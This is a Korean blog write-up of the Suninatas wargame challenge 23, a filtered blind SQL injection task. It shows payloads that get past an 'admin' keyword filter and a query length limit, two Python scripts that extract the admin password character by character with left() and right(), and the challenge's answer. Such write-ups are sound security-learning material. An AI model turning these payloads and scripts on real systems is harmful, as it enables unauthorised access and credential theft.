도카이트

[Wargame] Suninatas 23번 Write-Up 본문

Wargame/Suninatas

[Wargame] Suninatas 23번 Write-Up

dodoh4t 2022. 6. 5. 03:45
728x90
반응형

문제 화면

[Suninatas 23번 문제 화면]

- Blind SQL Injection 앞에 Hard 라는 단어가 붙었다.

- 위압감과 중압감이 함께 몰려오는 더 강해진 Blind SQL Injection 문제인 듯 하다…

- Filtering Keywords 의 키워드들이 새로 바뀌었으며, admin과 substring이 새로 추가되었다.

- 소스코드도 추가로 살펴보도록 하자 ..!

 

 

소스코드

[페이지 소스코드]

- Hint 1의 경우 22번 문제와 동일하다.

- Hint 2의 경우.. ‘admin’ 문자열을 Bypass 하라고 한다..

- 문제 화면에서 살펴보았듯이, Filtering Keywords로 admin이 추가되어 있고, 이를 우회해야 하는듯 하다.

 

 

admadminin’ -- 을 이용한 admin 우회 시도

[admadminin’ -- 을 이용한 admin 우회 시도]

- 혹시 php에서 str_replace 함수의 우회 방법과 같은 방법으로 우회가 될까 싶어서 시도해보았다.

- id에 admadminin’ -- 을 대입하고, pw에 1을 대입하여 로그인을 시도해보았다.

- No hack 이 출력되며 어림없이 admin 문자열을 우회당해버렸다..

 

 

‘+’ 를 이용한 문자열 합치기

[‘+’ 를 이용한 문자열 합치기]

- 다른 방법으로 ‘+’ 를 이용하여 문자열 합치기를 시도해보았다.

- 사용한 구문은 다음과 같다 : id : adm’+’in’ -- / pw : 1

- admin 문자열을 우회하여 성공적으로 admin 계정으로 로그인을 할 수 있다 !

- admin 문자열 우회 방법을 알았으니 이를 이용해 pw 길이와 pw 값을 알아보자 !

 

 

len(pw)를 이용한 패스워드 길이 유추

[len(pw)를 이용한 패스워드 길이 유추]

- 22번과 동일하게 열심히 영차영차 복사 붙여넣기로 타이핑했다..

- 패스워드 길이 확인에 사용한 구문은 다음과 같다.

- adm’+’in’ and len(pw)=[대입 숫자] --

- 11을 대입했을 경우까지는 False를 출력하지만, 12를 대입 시 OK admin이 출력된다.

- 이를 통해 admin의 패스워드 길이는 12 임을 확인할 수 있다 !

 

 

left, right 함수를 이용한 substring 우회

[left, right 함수를 이용한 substring 우회]

- substring을 우회하여 패스워드 문자열을 알아낼 수 있는 방법이 무엇이 있을까….?

- 구글링을 뒤적뒤적한 결과, MSSQL에서는 left와 right 함수를 이용하는 방법이 있다고 한다.

- 사용법은 substring과 비슷하게 left(pw,1) / left(pw,2) 형식으로 사용 가능하다.

- 위 예제에서 사용한 구문은 다음과 같다.

- adm’+’in’ and left(pw,1)=’a’--

- 해당 구문을 이용하여 22번 문제와 동일하게 파이썬 코드를 작성하면 문제를 해결할 수 있을 것 같다 !

 

 

그러나, 계속 문제가 해결되지 않아….. 진짜 이 문제만 7시간 넘게 고생했는데…

입력되는 쿼리문의 길이에 대한 검증이 있다고 한다… 길이가 30이 넘어가게 되는 구문은

No hack! 을 출력하며 막혀버린다.. 그러므로 admin 문자열을 포함하지 않고, or 구문을

이용하여 최대한 길이를 줄여야만 한다…

 

 

or 구문과 left, right 함수를 사용한 substring 우회

[or 구문과 left, right 함수를 사용한 substring 우회]

- and 구문 대신 or 구문을 사용하여 작성한 예제이다.

- False 를 출력하며 이를 통해 SQL Injection이 성공하는 것을 확인할 수 있다.

- or 구문을 이용하여 id 파라미터 값을 대입하도록 파이썬을 이용하여 코드를 짜보자 !

 

 

left_blind.py

import requests

pw = ''
url = "http://suninatas.com/challenge/web23/web23.asp"

for i in range(1,13):
    for j in range(33,128):
        target_url = url+"?id='or left(pw,{})='{}'--&pw=1".format(i,pw+chr(j))
        r = requests.get(url=target_url)
        
        if "OK  <font size=4 color=blue>admin" in r.text:
            pw += chr(j)
            print(str(i)+" 번째 패스워드 : "+chr(j))
            break
print("패스워드 : "+pw);

- 아스키 코드를 이용하여 문자열을 대입하므로, chr 함수를 사용하여 j 값을 대입하였다.

- 해당 코드를 실행하여 admin의 패스워드를 획득할 수 있다. 그러나,

- 11자리 패스워드부터 쿼리 길이 제한에 막혀 더 이상의 패스워드가 출력되지 않는다.

- 따라서 11번째와 12번째 패스워드는 left 함수의 반대인 right 함수를 사용하여 획득해야한다.

 

 

right_blind.py

import requests

pw = ''
url = "http://suninatas.com/challenge/web23/web23.asp"

for i in range(1,3):
    for j in range(33,128):
        target_url = url+"?id='or right(pw,{})='{}'--&pw=1".format(i,chr(j)+pw)
        r = requests.get(url=target_url)
        
        if "OK  <font size=4 color=blue>admin" in r.text:
            pw += chr(j)
            print(str(i)+" 번째 패스워드 : "+chr(j))
            break
print("패스워드 : "+pw);

- left 함수와 거의 동일한 코드이며, left 함수를 right 함수로 대체하였다.

- 또한, 문자열 포맷에 대입하는 값 중 두 번째 값으로 pw+chr(j)를 chr(j)+pw 로 수정하였다.

- 그럼 작성한 두 파이썬 코드를 실행하여 admin의 전체 패스워드를 획득해보자 !

 

 

admin 패스워드 획득

[left_blind.py / right_blind.py 실행 결과]

- left 함수를 이용하여 10번째 자리까지 패스워드 값을 획득할 수 있다.

- right 함수를 이용하여 11번째와 12번째 자리까지 최종적으로 패스워드를 획득할 수 있다.

- 그러나, right 함수로 획득한 패스워드는 오른쪽에서부터 획득한 1번째, 2번째 이므로,

- 일반적으로 생각하는 패스워드는 left 함수로 획득한 순서와 동일하다. 따라서,

- right 함수로 획득한 2번째 패스워드가 11번째, 1번째 패스워드가 12번째 패스워드이다.

- admin 계정의 패스워드 결과값은 v3ryhardsqli 이다 !

728x90

'Wargame > Suninatas' 카테고리의 다른 글

[Wargame] Suninatas 22번 Write-Up  (0) 2022.06.05
[Wargame] Suninatas 8번 Write-Up  (0) 2022.06.05
[Wargame] Suninatas 7번 Write-Up  (0) 2022.05.31
[Wargame] Suninatas 6번 Write-Up  (0) 2022.05.31
[Wargame] Suninatas 5번 Write-Up  (0) 2022.05.31
Comments